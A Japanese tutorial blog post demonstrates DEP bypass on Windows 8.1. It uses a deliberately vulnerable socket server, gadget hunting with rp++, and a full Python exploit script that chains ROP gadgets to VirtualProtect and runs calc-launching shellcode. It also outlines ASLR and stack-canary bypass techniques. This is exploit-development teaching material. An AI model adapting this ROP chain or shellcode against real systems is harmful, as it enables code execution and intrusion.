WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる
「Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる」では、DEPを無効にした状態でシェルコードの実行を行った。 ここでは、DEPが有効な環境下において、ROP(Return-oriented Programming)によるシェルコード実行をやってみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS ビルドの種類: Multiprocessor Free システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >cdb -version cdb version 6.3.9600.17298
脆弱性のあるプログラムを書いてみる
「Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる」と同様に、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void somewhere() { char buf[1024]; DWORD oldprotect; VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect); } void bof(SOCKET c) { char buf[400]; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
上のコードでは、プログラム中のどこかでVirtualProtect関数が使われている状況を想定し、somewhere関数を追加してある。
ASLR、stack canary(/GS)を無効にし、DEPが有効となる設定でコンパイルする。
>cl bof.c /GS- /link /dynamicbase:no
生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。
$ nc localhost 4444 foo
>bof.exe [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBF0
正常に実行できていることが確認できる。
Import Address Tableを調べてみる
DEPが有効な場合、シェルコードを実行するにはあらかじめVirtualProtect関数やVirtualAlloc関数を呼び出すことにより実行可能なメモリ領域を確保する必要がある。 プログラム中でこれらの関数が利用されている場合、Import Address Tableにこれらの関数を指すポインタが格納されている。 そこで、デバッガからプログラムを実行し、Import Address Tableの内容を調べてみる。
>cdb bof.exe (snip) Executable search path is: ModLoad: 00400000 00415000 image00400000 ModLoad: 77a50000 77bbe000 ntdll.dll (snip) (20.1a68): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=a24a0000 edx=00000000 esi=7ffde000 edi=00000000 eip=77b03bed esp=0018faec ebp=0018fb18 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 77b03bed cc int 3 0:000> !dh 00400000 -f File Type: EXECUTABLE IMAGE FILE HEADER VALUES 14C machine (i386) 3 number of sections 559CB371 time date stamp Wed Jul 08 14:21:53 2015 0 file pointer to symbol table 0 number of symbols E0 size of optional header 103 characteristics Relocations stripped Executable 32 bit word machine OPTIONAL HEADER VALUES 10B magic # 12.00 linker version B600 size of code 7800 size of initialized data 0 size of uninitialized data 14E4 address of entry point 1000 base of code ----- new ----- 00400000 image base 1000 section alignment 200 file alignment 3 subsystem (Windows CUI) 6.00 operating system version 0.00 image version 6.00 subsystem version 15000 size of image 400 size of headers 0 checksum 00100000 size of stack reserve 00001000 size of stack commit 00100000 size of heap reserve 00001000 size of heap commit 8100 DLL characteristics NX compatible Terminal server aware 0 [ 0] address [size] of Export Directory 11154 [ 3C] address [size] of Import Directory 0 [ 0] address [size] of Resource Directory 0 [ 0] address [size] of Exception Directory 0 [ 0] address [size] of Security Directory 0 [ 0] address [size] of Base Relocation Directory 0 [ 0] address [size] of Debug Directory 0 [ 0] address [size] of Description Directory 0 [ 0] address [size] of Special Directory 0 [ 0] address [size] of Thread Storage Directory 10DB0 [ 40] address [size] of Load Configuration Directory 0 [ 0] address [size] of Bound Import Directory D000 [ 120] address [size] of Import Address Table Directory 0 [ 0] address [size] of Delay Import Directory 0 [ 0] address [size] of COR20 Header Directory 0 [ 0] address [size] of Reserved Directory 0:000> dps 00400000+d000 00400000+d000+120 0040d000 754387e0 KERNEL32!InitializeCriticalSectionAndSpinCount 0040d004 75438930 KERNEL32!CreateFileW 0040d008 754386f0 KERNEL32!CloseHandle 0040d00c 75427af0 KERNEL32!LCMapStringWStub 0040d010 75439850 KERNEL32!ExitProcessImplementation 0040d014 75428ab0 KERNEL32!VirtualProtectStub 0040d018 7542b5a0 KERNEL32!GetCommandLineAStub (snip) 0:000> q quit:
上の結果から、VirtualProtect関数を指すポインタが0040d014
にあることがわかる。
なお、このポインタの値としてセットされる実際の関数アドレスは実行時に解決される。
Windows 8ではkernel32.dllを含む多くのシステムDLLはASLRが有効となっており、OSが起動するタイミングごとに配置されるアドレスが変化する。
ROP gadgetを探してみる
次に、上で調べたポインタからVirtualProtect関数を呼び出すためのROP gadgetを探してみる。 ROP gadget検索ツールであるrp++を使い実行ファイルを調べると、次のようなgadgetを見つけることができる。
$ ./rp-win-x64.exe --file=bof.exe --rop=1 --unique > gadgets.txt $ grep ": jmp" gadgets.txt 0x004022e7: jmp dword [eax] ; (3 found) 0x0040b222: jmp dword [ebx] ; (2 found) 0x0040574c: jmp dword [ecx] ; (2 found) $ grep ": pop" gadgets.txt 0x00401067: pop ebp ; ret ; (192 found) 0x004054ee: pop ebx ; ret ; (3 found) 0x00401367: pop ecx ; ret ; (30 found) 0x00404159: pop edi ; ret ; (19 found) 0x004016f7: pop esi ; ret ; (17 found) 0x00408034: pop esp ; ret ; (1 found)
上の結果より、pop ecx
でecxにポインタのアドレスをセットした後jmp dword [ecx]
を実行することで、ポインタが指す関数を呼び出せることがわかる。
エクスプロイトコードを書いてみる
以上の内容をもとに、ROPでVirtualProtect関数を呼び出した後シェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import socket import struct addr_buf = 0x0018FBF0 addr_pop_ecx = 0x00401367 # 0x00401367: pop ecx ; ret ; (30 found) addr_jmp_ptr_ecx = 0x0040574c # 0x0040574c: jmp dword [ecx] ; (2 found) iat_virtualprotect = 0x0040d014 # 0040d014 75428ab0 KERNEL32!VirtualProtectStub bufsize = 400 # WinExec("calc", SW_SHOWNORMAL); ExitProcess(0); shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF' buf = 'A' * bufsize buf += 'AAAA' # saved ebp buf += struct.pack('<I', addr_pop_ecx) # retaddr buf += struct.pack('<I', iat_virtualprotect) buf += struct.pack('<I', addr_jmp_ptr_ecx) # jump to VirtualProtect() buf += struct.pack('<I', addr_buf+bufsize+4*9) buf += struct.pack('<I', addr_buf) # lpAddress buf += struct.pack('<I', 1024) # dwSize buf += struct.pack('<I', 0x40) # flNewProtect = PAGE_EXECUTE_READWRITE buf += struct.pack('<I', addr_buf) # lpflOldProtect buf += shellcode c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
「Windowsで単純なスタックバッファオーバーフロー攻撃をやってみる」においてデバッガでアセンブリコードを確認した結果などから、32bit Windowsアプリケーションでは関数の引数はスタックに積まれることがわかる。
したがって、ROPにおいてVirtualProtect関数を呼び出す際は通常call命令で積まれることになるリターンアドレスを挟んで順に引数を並べればよい。
また、lpflOldProtect
で指定したアドレスには変更前のメモリ属性が書き込まれるが、NULLの場合関数が失敗してしまうため、ここでは適当な書き込み可能アドレスとしてバッファの先頭を指定している。
bof.exeを起動し、エクスプロイトコードを実行してみる。
$ python exploit.py
シェルコードが実行され、電卓が起動することが確認できる。
ASLRおよびstack canaryの回避
ここでは、コンパイル時にASLRおよびstack canary(/GS)を無効にしたが、これらが有効な場合については次のような方法が使われる。
- JScriptやActionScriptを利用したHeap sprayにより、0x0c0c0c0cなどの固定アドレスにROPシーケンスおよびシェルコードを配置
- vtable overwriteによりstack pivotを行い、配置したROPシーケンスに処理を移す
- ロードされているDLLのうちASLRが無効なものを使い、ROPによりVirtualProtect関数を呼び出す
- シェルコードを実行
また、Windows 7以前においては、ASLRが無効なDLLを用いる方法のほかに、固定アドレスに配置されているシステムコール関数を使ってVirtualProtect相当の処理を行う方法も知られている。
関連リンク
- Viewing import table from windbg | Tom's Reversing
- Exploitation 400 | CSAW 2014 | Write-ups | Collegiate Cyber Defense Club @ UCF
- FuzzySecurity | ExploitDev: Part 9: Spraying the Heap [Chapter 2: Use-After-Free] – Finding a needle in a Haystack
- Deep Dive into Exploit of Use-After-Free Vulnerability | すなのかたまり
- いでよ、電卓!
- DEP/ASLR bypass without ROP/JIT (CanSecWest 2013)
- APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。